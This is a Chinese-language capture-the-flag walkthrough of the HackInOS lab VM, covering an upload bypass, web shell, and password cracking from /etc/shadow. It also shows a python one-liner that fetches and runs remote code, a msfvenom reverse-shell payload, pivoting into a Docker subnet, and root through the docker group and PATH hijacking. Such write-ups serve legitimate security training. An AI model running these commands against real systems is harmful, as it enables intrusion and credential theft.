HackInOs(有内网)
信息收集
靶机IP 192.168.99.100
kali IP 192.168.99.101
nmap扫描结果
存在上传点但是无法上传文件
Burp抓包发现页面源代码有注释
https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php
看到提示
看到其只使用了getimagesize
函数进行检验
通过加添GIF89a可以绕过上传
而文件的名字是这么产生的
于是上传一个一句话木马,然后对目录进行爆破即可
# coding:utf-8 |
之后使用蚁剑成功连接
但是发现上传不久之后shell就被删掉了
所以需要将shell移动到html目录下,(考验手速的时候到了)
此时成功得到shell,开始提权
提权
查找SUID的程序
find / -user root -perm -4000 -print 2>/dev/null
使用tail命令查看/etc/shadow
将root用户复制过来,使用john进行爆破
得到root账号的密码是john
之后切换到root用户查看flag,但是并没有结束
运行提权辅助脚本
注意到提权辅助脚本提示有docker
查看IP
看这个IP地址很像是docker中的地址
尝试直接用root账户及其密码john进行连接,失败
大概猜到了我只是拿到了一台docker容器的权限,并没有进入到主机
后渗透
反弹的shell功能还是弱了,想办法得到一个meterpreter
这里有记录一下通过shell拿到meterpreter
的几种办法
web_delivery脚本
使用exploit/multi/script/web_delivery
设置好相关参数
在反弹的shell中运行这段payload
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.99.101:8080/1PrsFQbkzsmuk5');exec(r.read());" |
得到meterpreter
之后输入background
让其挂起
使用msfenvom生成木马
使用exploit/multi/handler
这个exploit模块
加载linux/x86/meterpreter_reverse_tcp
这个payload,同时通过msfvenom
去生成一个木马
msfvenom
生成木马
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.99.102 lport=4444 -f elf -o shell
蚁剑上传
执行
反弹得到meterpreter
得到子网信息
之后通过metasploit之后添加一条路由
此时就可以看到添加的路由信息了
路由添加也可以通过:rout add 172.18.0.0 255.255.0.0 1
指定了网段和子网掩码,以及对应的session
这之后我们就可以在metasploit
中访问内网的地址了,先进行主机发现
发现了四台主机
进行后续的端口扫描
(由于扫描速度比较慢,参数调整了一下)
这里也尝试通过proxychain
去进行扫描
proxychain的配置
使用socks4a代理,修改/etc/proxychains.conf
文件,
取消注释同时在最后一行加上127.0.0.1 1080
由于proxyresolv
的位置有点问题,cp过来
cp /usr/lib/proxychains3/proxyresolv /usr/bin/
之后可以通过proxychains nmap -A -T4 172.18.0.2
启动nmap扫描,但是扫描的结果有问题
root@kali:~# proxyresolv 172.18.0.3 |
能够正常解析但是还是存在问题
172.18.0.2 开放了3306端口数据库,进行连接
此处也可以通过portfwd add -l 8123 -r 172.18.0.3 -p 3306
端口转发到本地进行连接
mysql -h 127.0.0.1 -P 8123 -uwordpress -pwordpress
查看数据
解密之后得到123456
于是尝试直接使用该用户登陆主机
该用户在docker组中,可以尝试通过docker提权
运行的docker镜像
docker挂载即可
得到flag
另外一种方式提权
find / -user root -perm -4000 -print 2>/dev/null
查找SUID用户运行的程序
发现a.out
猜测其运行的是whoami命令
通过环境变量提权
同样拿到flag